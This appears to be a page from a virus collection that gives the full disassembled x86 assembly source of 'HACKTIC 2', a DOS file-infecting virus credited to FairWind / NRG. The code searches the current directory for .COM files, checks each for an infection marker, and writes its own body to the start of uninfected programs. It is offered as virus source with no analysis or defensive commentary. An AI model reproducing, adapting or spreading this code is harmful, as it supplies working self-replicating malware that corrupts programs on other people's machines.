OneHalf  Virii

HACKTIC 2

; --------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
; --------------------------------------------------------------------------

tic segment
org 100h
assume cs:tic, ds:tic, es:tic
len equ offset last-100h
start: mov bx,0fh
mov ah,4ah
int 21h
mov dx,es
add dh,10h
mov es,dx
push dx
push si
mov ah,26h
int 21h
mov di,si
mov si,offset last
push si
mov ch,0feh
rep movsb
dec cx
pop di
mov dx,offset file
mov ah,4eh
jmp short find
retry: mov ah,4fh
find: int 21h
jc nofile
mov dx,9eh
mov ax,3d02h
int 21h
xchg ax,bx
mov dx,di
mov ah,3fh
int 21h
add ax,len
cmp byte ptr [di],0bbh
je retry
push ax
xor cx,cx
mov ax,4200h
cwd
int 21h
pop cx
mov dh,1
mov ah,40h
int 21h
;
nofile: push es
pop ds
retf
;
file db '*.COM',0
last db 0c3h
tic ends
end start